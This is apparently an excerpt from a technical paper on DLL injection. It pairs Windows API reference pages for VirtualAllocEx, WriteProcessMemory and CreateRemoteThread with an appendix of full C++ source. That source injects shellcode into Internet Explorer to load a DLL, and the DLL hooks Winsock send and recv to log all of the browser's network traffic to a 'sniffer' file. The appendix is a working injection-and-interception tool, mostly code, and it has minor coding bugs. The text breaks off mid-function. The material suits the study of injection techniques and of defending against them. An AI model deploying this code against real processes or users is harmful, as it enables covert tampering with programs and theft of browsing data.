Windows Me, Windows 98, or Windows 95.
Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server.
Header: Declared in Winbase.h; include Windows.h.
Library: Link to Kernel32.lib.
DLL: Requires Kernel32.dll.
Unicode: Implemented as LoadLibraryW (Unicode) and LoadLibraryA (ANSI). Note
that Unicode support on Windows Me/98/95 requires Microsoft Layer for Unicode.

25
VirtualAllocEx
The VirtualAllocEx function reserves or commits a region of memory within the virtual
address space of a specified process. The function initializes the memory it allocates to
zero, unless MEM_RESET is used.

LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

Parameters

hProcess
[in] The handle to a process. The function allocates memory within the virtual
address space of this process.

You must have PROCESS_VM_OPERATION access to the process. If you do


not, the function fails.

lpAddress
[in] The pointer that specifies a desired starting address for the region of pages
that you want to allocate.

If you are reserving memory, the function rounds this address down to the nearest
multiple of the allocation granularity.

If you are committing memory that is already reserved, the function rounds this
address down to the nearest page boundary. To determine the size of a page and
the allocation granularity on the host computer, use the GetSystemInfo function.

If lpAddress is NULL, the function determines where to allocate the region.

dwSize
[in] The size of the region of memory to allocate, in bytes.

If lpAddress is NULL, the function rounds dwSize up to the next page boundary.

If lpAddress is not NULL, the function allocates all pages that contain one or
more bytes in the range from lpAddress to (lpAddress+dwSize). This means, for
example, that a 2-byte range that straddles a page boundary causes the function to
allocate both pages.

26
flAllocationType
[in] The type of memory allocation. This parameter must contain one of the
following values.
Value Meaning
Allocates physical storage in memory or in the
paging file on disk for the specified region of
memory pages. The function initializes the
memory to zero.
MEM_COMMIT
An attempt to commit a memory page that is
already committed does not cause the function to
fail. This means that you can commit a range of
pages without first determining the current
commitment state of each page.
Reserves a range of the process's virtual address
space without allocating any actual physical
storage in memory or in the paging file on disk.

Other memory allocation functions, such as


MEM_RESERVE
malloc and LocalAlloc, cannot use a reserved
range of memory until it is released.

You can commit reserved memory pages in


subsequent calls to the VirtualAllocEx function.
MEM_RESET Specifies that the data in the memory range
specified by lpAddress and dwSize is no longer
of interest. The pages should not be read from or
written to the paging file. However, the memory
block will be used again later, so it should not be
decommitted. This value cannot be used with any
other value.

Using this value does not guarantee that the


range operated on with MEM_RESET will
contain zeroes. If you want the range to contain
zeroes, decommit the memory and then recommit
it.

When you use MEM_RESET, the


VirtualAllocEx function ignores the value of
fProtect. However, you must still set fProtect to
a valid protection value, such as
PAGE_NOACCESS.

VirtualAllocEx returns an error if you use


MEM_RESET and the range of memory is

27
mapped to a file. A shared view is only
acceptable if it is mapped to a paging file.

This parameter can also specify the following values as indicated.

Value Meaning
Allocates physical memory with read-write
access. This value is solely for use with Address
Windowing Extensions (AWE) memory.
MEM_PHYSICAL
This value must be used with MEM_RESERVE
and no other values.
Allocates memory at the highest possible
MEM_TOP_DOWN
address.
flProtect
[in] The memory protection for the region of pages to be allocated. If the pages
are being committed, you can specify any one of the memory protection options,
along with PAGE_GUARD or PAGE_NOCACHE, as needed.

Return Values

If the function succeeds, the return value is the base address of the allocated region of
pages.

If the function fails, the return value is NULL. To get extended error information, call
GetLastError.

Remarks

Each page has an associated page state. The VirtualAllocEx function can perform the
following operations:

• Commit a region of reserved pages


• Reserve a region of free pages
• Simultaneously reserve and commit a region of free pages

VirtualAllocEx cannot reserve a reserved page. It can commit a page that is already
committed. This means you can commit a range of pages, regardless of whether they
have already been committed, and the function will not fail.

You can use VirtualAllocEx to reserve a block of pages and then make additional calls
to VirtualAllocEx to commit individual pages from the reserved block. This enables a
process to reserve a range of its virtual address space without consuming physical storage
until it is needed.

28
If the lpAddress parameter is not NULL, the function uses the lpAddress and dwSize
parameters to compute the region of pages to be allocated. The current state of the entire
range of pages must be compatible with the type of allocation specified by the
flAllocationType parameter. Otherwise, the function fails and none of the pages is
allocated. This compatibility requirement does not preclude committing an already
committed page; see the preceding list.

To execute dynamically generated code, use VirtualAllocEx to allocate memory and the
VirtualProtectEx function to grant PAGE_EXECUTE access.

The VirtualAllocEx function can be used to reserve an Address Windowing Extensions


(AWE) region of memory within the virtual address space of a specified process. This
region of memory can then be used to map physical pages into and out of virtual memory
as required by the application. The MEM_PHYSICAL and MEM_RESERVE values
must be set in the AllocationType parameter. The MEM_COMMIT value must not be set.
The page protection must be set to PAGE_READWRITE.

The VirtualFreeEx function can decommit a committed page, releasing the page's
storage, or it can simultaneously decommit and release a committed page. It can also
release a reserved page, making it a free page.

Requirements

Client: Requires Windows XP, Windows 2000 Professional, or Windows NT


Workstation 4.0.
Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT
Server 4.0.
Header: Declared in Winbase.h; include Windows.h.
Library: Link to Kernel32.lib.
DLL: Requires Kernel32.dll.

29
WriteProcessMemory
The WriteProcessMemory function writes data to an area of memory in a specified
process. The entire area to be written to must be accessible, or the operation fails.

BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T* lpNumberOfBytesWritten
);

Parameters

hProcess
[in] Handle to the process whose memory is to be modified. The handle must
have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the
process.
lpBaseAddress
[in] Pointer to the base address in the specified process to which data will be
written. Before any data transfer occurs, the system verifies that all data in the
base address and memory of the specified size is accessible for write access. If
this is the case, the function proceeds; otherwise, the function fails.
lpBuffer
[in] Pointer to the buffer that contains data to be written into the address space of
the specified process.
nSize
[in] Number of bytes to be written to the specified process.
lpNumberOfBytesWritten
[out] Pointer to a variable that receives the number of bytes transferred into the
specified process. This parameter is optional. If lpNumberOfBytesWritten is
NULL, the parameter is ignored.

Return Values

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call
GetLastError. The function will fail if the requested write operation crosses into an area
of the process that is inaccessible.

Remarks

WriteProcessMemory copies the data from the specified buffer in the current process to
the address range of the specified process. Any process that has a handle with

30
PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process to be
written to can call the function. The process whose address space is being written to is
typically, but not necessarily, being debugged.

The entire area to be written to must be accessible. If it is not, the function fails as noted
previously.

Requirements

Client: Requires Windows XP, Windows 2000 Professional, Windows NT Workstation,


Windows Me, Windows 98, or Windows 95.
Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server.
Header: Declared in Winbase.h; include Windows.h.
Library: Link to Kernel32.lib.
DLL: Requires Kernel32.dll.

CreateRemoteThread
The CreateRemoteThread function creates a thread that runs in the virtual address space
of another process.

HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

Parameters

hProcess
[in] Handle to the process in which the thread is to be created. The handle must
have the PROCESS_CREATE_THREAD,
PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION,
PROCESS_VM_WRITE, and PROCESS_VM_READ access rights. For more
information, see Process Security and Access Rights.
lpThreadAttributes
[in] Pointer to a SECURITY_ATTRIBUTES structure that specifies a security
descriptor for the new thread and determines whether child processes can inherit
the returned handle. If lpThreadAttributes is NULL, the thread gets a default
security descriptor and the handle cannot be inherited. The access control lists

31
(ACL) in the default security descriptor for a thread come from the primary token
of the creator.
Windows XP/2000/NT: The ACLs in the default security descriptor for a thread
come from the primary or impersonation token of the creator. This behavior
changed with Windows XP SP2 and Windows Server 2003.
dwStackSize
[in] Initial size of the stack, in bytes. The system rounds this value to the nearest
page. If this parameter is 0 (zero), the new thread uses the default size for the
executable. For more information, see Thread Stack Size.
lpStartAddress
[in] Pointer to the application-defined function of type
LPTHREAD_START_ROUTINE to be executed by the thread and represents
the starting address of the thread in the remote process. The function must exist in
the remote process. For more information, see ThreadProc.
lpParameter
[in] Pointer to a variable to be passed to the thread function.
dwCreationFlags
[in] Flags that control the creation of the thread. If the CREATE_SUSPENDED
flag is specified, the thread is created in a suspended state and does not run until
the ResumeThread function is called. If this value is zero, the thread runs
immediately after creation.

If the STACK_SIZE_PARAM_IS_A_RESERVATION flag is specified, the


dwStackSize parameter specifies the initial reserve size of the stack. Otherwise,
dwStackSize specifies the commit size.

Windows 2000/NT: The


STACK_SIZE_PARAM_IS_A_RESERVATION flag is not supported.
lpThreadId
[out] Pointer to a variable that receives the thread identifier.

If this parameter is NULL, the thread identifier is not returned.

Return Values

If the function succeeds, the return value is a handle to the new thread.

If the function fails, the return value is NULL. To get extended error information, call
GetLastError.

Note that CreateRemoteThread may succeed even if lpStartAddress points to data,


code, or is not accessible. If the start address is invalid when the thread runs, an exception
occurs, and the thread terminates. Thread termination due to a invalid start address is
handled as an error exit for the thread's process. This behavior is similar to the
asynchronous nature of CreateProcess, where the process is created even if it refers to
invalid or missing dynamic-link libraries (DLL).

32
Remarks

The CreateRemoteThread function causes a new thread of execution to begin in the


address space of the specified process. The thread has access to all objects that the
process opens.

Terminal Services isolates each terminal session by design. Therefore,


CreateRemoteThread fails if the target process is in a different session than the calling
process.

The new thread handle is created with full access to the new thread. If a security
descriptor is not provided, the handle may be used in any function that requires a thread
object handle. When a security descriptor is provided, an access check is performed on all
subsequent uses of the handle before access is granted. If the access check denies access,
the requesting process cannot use the handle to gain access to the thread.

The thread is created with a thread priority of THREAD_PRIORITY_NORMAL. Use the


GetThreadPriority and SetThreadPriority functions to get and set the priority value of
a thread.

When a thread terminates, the thread object attains a signaled state, which satisfies the
threads that are waiting for the object.

The thread object remains in the system until the thread has terminated and all handles to
it are closed through a call to CloseHandle.

The ExitProcess, ExitThread, CreateThread, CreateRemoteThread functions, and a


process that is starting (as the result of a CreateProcess call) are serialized between each
other within a process. Only one of these events occurs in an address space at a time. This
means the following restrictions hold:

• During process startup and DLL initialization routines, new threads can be
created, but they do not begin execution until DLL initialization is done for the
process.
• Only one thread in a process can be in a DLL initialization or detach routine at a
time.
• ExitProcess returns after all threads have completed their DLL initialization or
detach routines.

A common use of this function is to inject a thread into a process that is being debugged
to issue a break. However, this use is not recommended, because the extra thread is
confusing to the person debugging the application and there are several side effects to
using this technique:

• It converts single-threaded applications into multi-threaded applications.


• It changes the timing and memory layout of the process.

33
• It results in a call to the entry point of each DLL in the process.

Another common use of this function is to inject a thread into a process to query heap or
other process information. This can cause the same side effects mentioned in the previous
paragraph. Also, the application can deadlock if the thread attempts to obtain ownership
of locks that another thread is using.

Requirements

Client: Requires Windows XP, Windows 2000 Professional, or Windows NT


Workstation.
Server: Requires Windows Server 2003, Windows 2000 Server, or Windows NT Server.
Header: Declared in Winbase.h; include Windows.h.
Library: Link to Kernel32.lib.
DLL: Requires Kernel32.dll.

34
Appendix B: DLL Injector Source Code

35
//EXE.CPP

#include <windows.h>
#include <windowsx.h>
#include <iostream>
#include <cstdio>
#include <string>

using namespace std;

#define Filename "C:\\Program Files\\Internet Explorer\\iexplore.exe"


#define DLLTOINJECT "C:\\DLL.dll"

//@@@@@@@@@@@
CONTEXT OriginalContext;
char OriginalCodePage[4096];
DWORD sizeofCP=0;
VOID* mySec;

//return values:
//
// if 0 -> successful
// if -1 -> (0xFFFFFFFF) WriteProcessMemory returned FALSE
// else -> Amount of bytes written + 1
// (to get exact amount of bytes written, you must decrement return value by one!)
//

DWORD RestoreOriginalCodePage( HANDLE hProcess, HANDLE hThread, DWORD *outSize )


{
BOOL B;
DWORD written;
CONTEXT Context;

if(outSize) *outSize = sizeofCP; //Just for user's info

Context.ContextFlags = CONTEXT_FULL;
GetThreadContext( hThread, &Context);

B = WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written );

if(!B)
return -1;

if(written!=sizeofCP)
return written+1;

B=SetThreadContext( hThread, (CONST CONTEXT*)&OriginalContext);


if(!B)
return -1;

return 0;
}

BOOL InjectDLL(HANDLE hProcess, HANDLE hThread, VOID* hModuleBase, char *DllName)


{//You must have debug access to hProcess (required for ReadProcessMemory() & WriteProcessMemory)

FARPROC LoadLibProc = GetProcAddress(GetModuleHandle("KERNEL32.dll"), "LoadLibraryA");


FARPROC LastErrProc = GetProcAddress(GetModuleHandle("KERNEL32.dll"), "GetLastError");
if(!LoadLibProc || !LastErrProc) return FALSE;

////////////////////////////////

char CodePage[4096] =

{ 0xB8, 00, 00, 00, 00, // mov EAX, 0h | Pointer to LoadLibraryA() (DWORD)
0xBB, 00, 00, 00, 00, // mov EBX, 0h | DLLName to inject (DWORD)
0x53, // push EBX
0xFF, 0xD0, // call EAX
0x5b, // pop EBX

36
0xcc // INT 3h
};
int nob=15;

char *DLLName;
DWORD *EAX, *EBX;

DLLName = (char*)((DWORD)CodePage + nob);


EAX = (DWORD*)( CodePage + 1);
EBX = (DWORD*) ( CodePage + 6);

strcpy( DLLName, DllName );


*EAX = (DWORD)LoadLibProc;
*EBX = nob; // need to do this: *EBX = *EBX + (Section)
////////////////////////////
sizeofCP = strlen(DllName) + nob +1;

IMAGE_DOS_HEADER DOShdr;
IMAGE_NT_HEADERS *pNThdr, NThdr;
IMAGE_SECTION_HEADER SecHdr, *pSecHdr;
IMAGE_DATA_DIRECTORY DataDir, *pDataDir; //@@@@@@@@
DWORD dwD, dwD2, read, written;
CONTEXT Context;
BOOL B;

Context.ContextFlags = CONTEXT_FULL;//CONTROL;
OriginalContext.ContextFlags = CONTEXT_FULL;//CONTROL;
if(!GetThreadContext( hThread, &OriginalContext))
{
dwD = GetLastError();
return FALSE;
}

// Check to see if we have valid Headers:


//
/////////Get DOS hdr
B = ReadProcessMemory(hProcess, hModuleBase, &DOShdr, sizeof(DOShdr), &read);
if( (!B) || (read!=sizeof(DOShdr)) ) return FALSE;
if( DOShdr.e_magic != IMAGE_DOS_SIGNATURE ) //Check for `MZ
return FALSE;

//Get NT header
B = ReadProcessMemory( hProcess,
(VOID*)((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew), &NThdr, sizeof(NThdr), &read);
if( (!B) || (read!=sizeof(NThdr)) ) return FALSE;
if( NThdr.Signature != IMAGE_NT_SIGNATURE ) //Check for `PE\0\0
return 0;

// Valid EXE header!


// Look for a usable writable code page:
//

/////
//
if( (dwD=NThdr.FileHeader.NumberOfSections) < 1 )
return FALSE;//Section table: (after optional header)

pSecHdr = (IMAGE_SECTION_HEADER*)
(
((DWORD)hModuleBase + (DWORD)DOShdr.e_lfanew) +
(DWORD)sizeof(NThdr.FileHeader) +
(DWORD)NThdr.FileHeader.SizeOfOptionalHeader + 4
);//@@@@@@@@@@@@@

B=FALSE;
dwD2 = (DWORD)GetModuleHandle(0);

for( dwD2=0 ; dwD2<dwD ; dwD2++ )


{//iterate sections to look for a writable part of memory and NOT .idata
if( !ReadProcessMemory( hProcess, pSecHdr, &SecHdr, sizeof(SecHdr), &read) )

37
return FALSE;
if(read!=sizeof(SecHdr)) return FALSE;

if(
(SecHdr.Characteristics & IMAGE_SCN_MEM_WRITE) //writable section
&&
( strcmpi((const char*)SecHdr.Name, ".idata")!=NULL ) //not .idata (import data)
)
{
B = TRUE;
break;//OK!!
}
pSecHdr++;
}

if(!B)
return FALSE; //couldn't find usable code page!
//
/////
//Found a section: (SecHdr.VirtualAddress + (DWORD)hModuleBase)
mySec = (VOID*)(SecHdr.VirtualAddress + (DWORD)hModuleBase);

*EBX = *EBX + (DWORD)mySec;

if(!ReadProcessMemory( hProcess, mySec,


OriginalCodePage, sizeofCP, &read) )
return FALSE;
if(read != sizeofCP)
return FALSE;

//Now starts the mega part! (If an error occurs here, god knows what might happen!
B = WriteProcessMemory( hProcess, mySec,
CodePage, sizeofCP, &written);

if( (written!=0) && (written!=sizeofCP) ) //Uh oh!, System crash might occur now!
{//****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY****
WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written);
// Try to save what you can, and return back to memory

return FALSE; //might not have worked, so, big s***!


}

if((!B) || (written!=sizeofCP))
return FALSE;

//Ok, injected successfully,


//You MUST call function RestoreOriginalCodePage() function upon the following breakpoint!
Context = OriginalContext;
Context.Eip = (DWORD)mySec;
B = SetThreadContext(hThread, &Context);
if(!B) return FALSE;

return 1;
}

int Create()
{
BOOL B=FALSE, BREAK1=FALSE, BREAK2=FALSE;
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
DEBUG_EVENT dEvent;
DWORD ret;

ZeroMemory((VOID*)&sInfo, sizeof(sInfo));
B = CreateProcess(Filename, 0, 0, 0, FALSE, DEBUG_ONLY_THIS_PROCESS,
0, 0, &sInfo, &pInfo);
if(!B) return FALSE;

//-----

38
/// ////
///// We need 3 things, ProcessHandle, ThreadHandle, and BaseOfImage
////
///
//-----

HANDLE PHandle=pInfo.hProcess, THandle=pInfo.hThread;


VOID * BaseOfImage;
//char DLLTOINJECT[] = "d:\\VCPrj\\Inject\\DLL\\Release\\DLL.dll";
//^^#defined above..

while(1)
{
if( !(B = WaitForDebugEvent(&dEvent, INFINITE)) )
return -1;

if(dEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT)
{
BaseOfImage = dEvent.u.CreateProcessInfo.lpBaseOfImage;
}

if(dEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT)
break;

if(dEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT)//Check for breakpoint


{
if(dEvent.u.Exception.ExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT)
{//It is a break point;
if(BREAK1==FALSE)
{//First Breakpoint occured
B = InjectDLL( pInfo.hProcess, pInfo.hThread, BaseOfImage,
DLLTOINJECT);

BREAK1 = TRUE;
if(!B)
return 0;
}else if(BREAK2==FALSE)
{
ret = RestoreOriginalCodePage( PHandle, THandle, 0);
BREAK2=TRUE;
}
}else
{
ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId,
DBG_EXCEPTION_NOT_HANDLED);
continue;
}

}//end if

ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId, DBG_CONTINUE);


}//end while()
}//end function Create()

int Open()
{

return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE prev, LPSTR lpCmdLine, int nShowCmd)
{
Create();
Open();
return 0;
}

39
//DLL.CPP
//Lol, no, this isn't build for win64
//32bit address spacing only..

#include <windows.h>
#include "HookAPI.h"
#include <iostream>
#define Append(text) AppendLog(text, strlen(text))
#define LogFile "d:\\logs\\sniffer\\LOG.txt"

using namespace std;

/////
//////////

HINSTANCE g_hInst=0;
HANDLE hLogFile=0;

///

HANDLE OpenLog(char *Filename);


BOOL CloseLog(HANDLE h=hLogFile);
DWORD AppendLog(char *str, DWORD uSize, HANDLE h=hLogFile);
int HookWinsockProcs();

///

BOOL IsLogging=false;

//////////
////

BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID _Reserved)


{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
g_hInst = hInstance;
hLogFile = OpenLog(LogFile);
Append("\r\n************************\r\nDLL_PROCESS_ATTACH\r\n");
HookWinsockProcs();

return true;
break;

case DLL_THREAD_ATTACH:
Append("DLL_THREAD_ATTACH\r\n");
break;

case DLL_THREAD_DETACH:
Append("DLL_THREAD_DETACH\r\n");
break;

case DLL_PROCESS_DETACH:
Append("DLL_PROCESS_DETACH\r\n********************\r\n\r\n");
CloseLog();
return true;
break;
}//end switch(dwReason)

return true;
}

//===========================
// Related to LOG file
//
HANDLE OpenLog(char *Filename)
{

40
HANDLE hLogFile;

hLogFile = CreateFile( Filename, GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_ALWAYS,0,0);


if(hLogFile!=INVALID_HANDLE_VALUE)
IsLogging = true;//SetFilePointer(hLogFile, 0,0, FILE_END);//*/

return hLogFile;
}

BOOL CloseLog(HANDLE h)
{
IsLogging = false;
return CloseHandle(h);
}

//returns written bytes


DWORD AppendLog(char *str, DWORD uSize, HANDLE h)
{
DWORD written;
if(!IsLogging) return 0;

SetFilePointer( h, 0, 0, FILE_END );
WriteFile(h, str, uSize, &written, 0);

return written;
}
//
//
//============================

//HookFuncs.CPP

#include <windows.h>
//#include <HookAPI.h>
#include <iostream>
#include <cstdio>
#include <string>
#define Append(text) AppendLog(text, strlen(text))

using namespace std;

PROC WINAPI HookImportedFunction(


HMODULE hFromModule, // Module to intercept calls from
PSTR pszFunctionModule, // Module to intercept calls to
PSTR pszFunctionName, // Function to intercept calls to
PROC pfnNewProc // New function (replaces old function)
);

extern BOOL IsLogging;


extern HANDLE hLogFile;

HANDLE OpenLog(char *Filename);


BOOL CloseLog(HANDLE h=hLogFile);
DWORD AppendLog(char *str, DWORD uSize, HANDLE h=hLogFile);

BOOL Hooked=false;

//////
////

typedef int(WINAPI *SENDPROC)(SOCKET, const char FAR*, int, int); //SENDPROC


typedef int(WINAPI *RECVPROC)(SOCKET, char FAR *, int, int); //RECVPROC
typedef int(WINAPI *BINDPROC)(SOCKET, const struct sockaddr FAR *, int); //BINDPROC
typedef int(WINAPI *CLOSESOCKETPROC)(SOCKET); //CLOSESOCKETPROC
typedef int(WINAPI *CONNECTPROC)(SOCKET, const struct sockaddr FAR *, int); //CONNECTPROC
typedef int(WINAPI *LISTENPROC)(SOCKET, int); //LISTENPROC
typedef SOCKET(WINAPI *ACCEPTPROC)(SOCKET, struct sockaddr FAR *, int FAR *); //ACCEPTPROC

41
typedef SOCKET(WINAPI *SOCKETPROC)(int, int, int); //SOCKETPROC

typedef int(WINAPI *WSAGetLastErrorProc)(void); //WSAGetLastErrorProc

////
//////

//
///////////////////////////////////////////
//
SENDPROC Osend;
RECVPROC Orecv;
ACCEPTPROC Oaccept;
BINDPROC Obind;
CLOSESOCKETPROC Oclosesocket;
CONNECTPROC Oconnect;
LISTENPROC Olisten;
SOCKETPROC Osocket;
WSAGetLastErrorProc OWSAGetLastError;

//
///////////////////////////////////////////
//
int WINAPI _send
(SOCKET s, const char FAR *buf, int len,
int flags );
int WINAPI _recv
(SOCKET s, char FAR *buf, int len, int
flags);
int WINAPI _listen
(SOCKET s, int backlog );
SOCKET WINAPI _accept
(SOCKET s, struct sockaddr FAR *addr, int
FAR *addrlen);
int WINAPI _bind
(SOCKET s, const struct sockaddr FAR
*name, int namelen);
int WINAPI _closesocket
(SOCKET s);
int WINAPI _connect
(SOCKET s, const struct sockaddr FAR
*name, int namelen);
SOCKET WINAPI _socket
(int af, int type, int protocol);
//
//////////////////////////////////////////
//

//============================
// Hook functions:
//

#define WinsockDll "WSock32.dll"


#define Hook(dllfuncname, proc) HookImportedFunction(GetModuleHandle(0), WinsockDll, dllfuncname, (PROC)proc)
#define IfCantHook(returnV, cast, dllfuncname, proc) if( (returnV = (cast)Hook(dllfuncname, (PROC)proc))==0 )
#define CheckForHook if(!Hooked) return
#define SendCheck Append("error"); else Append("OK")

int HookWinsockProcs()
{
Hooked=false;

Append("Hooking...");

Append("\r\n\tsocket() -> ");


IfCantHook(Osocket, SOCKETPROC, "socket", _socket)
SendCheck;

42
Append("\r\n\tsend() -> ");
IfCantHook(Osend, SENDPROC, "send", _send)
SendCheck;

Append("\r\n\trecv() ->");
IfCantHook(Orecv, RECVPROC, "recv", _recv)
SendCheck;

Append("\r\n\tlisten() -> ");


IfCantHook(Olisten, LISTENPROC, "listen", _listen)
SendCheck;

Append("\r\n\taccept() -> ");


IfCantHook(Oaccept, ACCEPTPROC, "accept", _accept)
SendCheck;

Append("\r\n\tbind() -> ");


IfCantHook(Obind, BINDPROC, "bind", _bind)
SendCheck;

Append("\r\n\tclosesocket() -> ");


IfCantHook(Oclosesocket, CLOSESOCKETPROC, "closesocket", _closesocket)
SendCheck;

Append("\r\n\tconnect() -> ");


IfCantHook(Oconnect, CONNECTPROC, "connect", _connect)
SendCheck;

Append("\r\nWSAGetLastError() ->");
OWSAGetLastError = GetProcAddress(GetModuleHandle(WinsockDll), "WSAGetLastError");
if(OWSAGetLastError==0)
SendCheck;

Append("\r\n\r\n");

Hooked = true;
return 0;
}//end function HookWinsockProcs()

//
//
//==================================================

int WINAPI _send(SOCKET s, const char FAR *buff, int len, int flags )
{
/////////////////////////
char buf[1024];
int ret = Osend(s, buff, len, flags);

sprintf(buf, "send(SOCKET=%d, size=%d) - ret=%d \r\n{", s, len, ret);


Append(buf);
AppendLog((char*)buff, len);
Append("}\r\n");

return ret;
}

int WINAPI _recv(SOCKET s, char FAR *buff, int len, int flags)
{
char buf[1024];
int ret = Orecv(s, buff, len, flags);
int gle;

if(ret==-1)//SOCKET_ERROR
{
if(OWSAGetLastError!=0)

43
{
gle = OWSAGetLastError();
if(gle==WSAEWOULDBLOCK)
sprintf(buf, "recv(SOCKET=%d, size=%d) - No data in queue (nonblocking socket)\r\n",
s, len, ret);
else
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d - SOCKET_ERROR -
WSAGetLastError=%d\r\n", s, len, ret, gle);
} else
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d - SOCKET_ERROR -
WSAGetLastError=???\r\n", s, len, ret);

Append(buf);

}else if(ret==0)
{
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d If the connection has been gracefully closed!\r\n", s, len,
ret);
Append(buf);
}else
{
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d(bytes recv'ed) \r\n{", s, len, ret);
Append(buf);
AppendLog(buff, ret);
Append("}\r\n");
}

return ret;
}

int WINAPI _listen(SOCKET s, int backlog )


{
char buf[1024];
int ret = Olisten(s, backlog);

sprintf(buf, "listen(SOCKET=%d, backlog=%d) - ret=%d\r\n", s, backlog, ret);


Append(buf);

return ret;
}

SOCKET WINAPI _accept(SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen)
{
char buf[1024];
int ret= Oaccept(s, addr, addrlen);

sprintf(buf, "accept(SOCKET=%d) - ret=(SOCKET)%d//New socket descriptor\r\n", s, ret);


Append(buf);

return ret;
}

int WINAPI _bind(SOCKET s, const struct sockaddr FAR *name, int namelen)
{
char buf[1024];
int ret = Obind(s, name, namelen);

sprintf(buf, "bind(SOCKET=%d, sockaddr=%x) - ret=%d\r\n", s, (DWORD)name, ret);


Append(buf);

return ret;
}

int WINAPI _closesocket(SOCKET s)


{
char buf[1024];
int ret = Oclosesocket(s);

sprintf(buf, "closesocket(SOCKET=%d) - ret=%d\r\n", s, ret);

44
Append(buf);

return ret;
}

int WINAPI _connect( SOCKET s, const struct sockaddr FAR *name, int namelen)
{
char buf[1024];
int ret = Oconnect(s, name, namelen);

sprintf(buf, "connect(SOCKET=%d, sockaddr=%x) - ret=%d", s, (DWORD)name, ret);


Append(buf);

return ret;
}

SOCKET WINAPI _socket(int af, int type, int protocol)


{
char buf[1024], buf2[1024];
SOCKET ret=Osocket(af, type, protocol);

sprintf(buf, "socket(af=");
if(af==AF_INET)
sprintf(buf, "%s%s, type=", buf, "AF_INET");
else
sprintf(buf, "%s%d, type=", buf, af);

if(type==SOCK_STREAM)
strcpy(buf2, "SOCK_STREAM");
else if(type==SOCK_DGRAM)
strcpy(buf2, "SOCK_DGRAM");
else
itoa(type, buf2, 10);

sprintf(buf, "%s%s, protocol=%d) - ", buf, buf2, protocol);


if(ret!=-1)
sprintf(buf, "%sret=(SOCKET)%d //New socket descriptor\r\n", buf, ret);
else
{
sprintf(buf, "%sret==SOCKET_ERROR(-1) -> WSAGetLastError()=", buf);
if(OWSAGetLastError)
sprintf(buf, "%s%d\r\n", OWSAGetLastError());
else
strcat(buf, "???\r\n");
}

Append(buf);

return ret;
}

//HOOKAPI.H

#ifndef __HOOKAPI_H
#define __HOOKAPI_H

//==================================
// SIMONSEZ - Matt Pietrek 1995
// Modified by - CrankHank
// Nasser Rowhani
// FILE: HOOKAPI.C/H
//==================================
#include <windows.h>
#include <string.h>

// Macro for adding pointers/DWORDs together without C arithmetic interfering


#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr)+(DWORD)(addValue))

45
DWORD GetModuleBaseFromWin32sHMod(HMODULE hMod); // Prototype (defined below)

PROC WINAPI HookImportedFunction(


HMODULE hFromModule, // Module to intercept calls from
PSTR pszFunctionModule, // Module to intercept calls to
PSTR pszFunctionName, // Function to intercept calls to
PROC pfnNewProc // New function (replaces old function)
)
{
PROC pfnOriginalProc;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
BOOL B;
DWORD dwOld, dw;
// DWORD *pdw1;

if ( IsBadCodePtr(pfnNewProc) ) // Verify that a valid pfn was passed


return 0;

// First, verify the the module and function names passed to use are valid
pfnOriginalProc = GetProcAddress( GetModuleHandle(pszFunctionModule),
pszFunctionName );

/* pdw1 = (DWORD*)pfnOriginalProc;
pfnOriginalProc = (PROC)*pdw1;*/

if ( !pfnOriginalProc )
return 0;

if ( (GetVersion() & 0xC0000000) == 0x80000000 )


pDosHeader = // Win32s
(PIMAGE_DOS_HEADER)GetModuleBaseFromWin32sHMod(hFromModule);
else
pDosHeader = (PIMAGE_DOS_HEADER)hFromModule; // other

// Tests to make sure we're looking at a module image (the 'MZ' header)
if ( IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) )
return 0;
if ( pDosHeader->e_magic != IMAGE_DOS_SIGNATURE )
return 0;

// The MZ header has a pointer to the PE header


pNTHeader = MakePtr(PIMAGE_NT_HEADERS, pDosHeader, pDosHeader->e_lfanew);

// More tests to make sure we're looking at a "PE" image


if ( IsBadReadPtr(pNTHeader, sizeof(IMAGE_NT_HEADERS)) )
return 0;
if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
return 0;

// We know have a valid pointer to the module's PE header. Now go


// get a pointer to its imports section
